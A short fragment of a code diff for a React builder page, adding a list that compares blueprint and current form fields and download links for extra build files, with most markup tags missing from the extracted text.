  • + {row.key} + {' — '} + {row.kind === 'added' && kept from form} + {row.kind === 'removed' && not in current form} + {row.kind === 'changed' && ( + + blueprint → current + + )} +
  • + ))} +
+
+ )} + {/* Blueprint picker panel */} {showBlueprints && (
@@ -2022,6 +2067,19 @@ export default function BuilderPage() { ↓ Download )} + {lastBuild.build_id && + lastBuild.extra_files?.map((f) => + f.file_name ? ( + + ↓ {f.file_name} + + ) : null + )}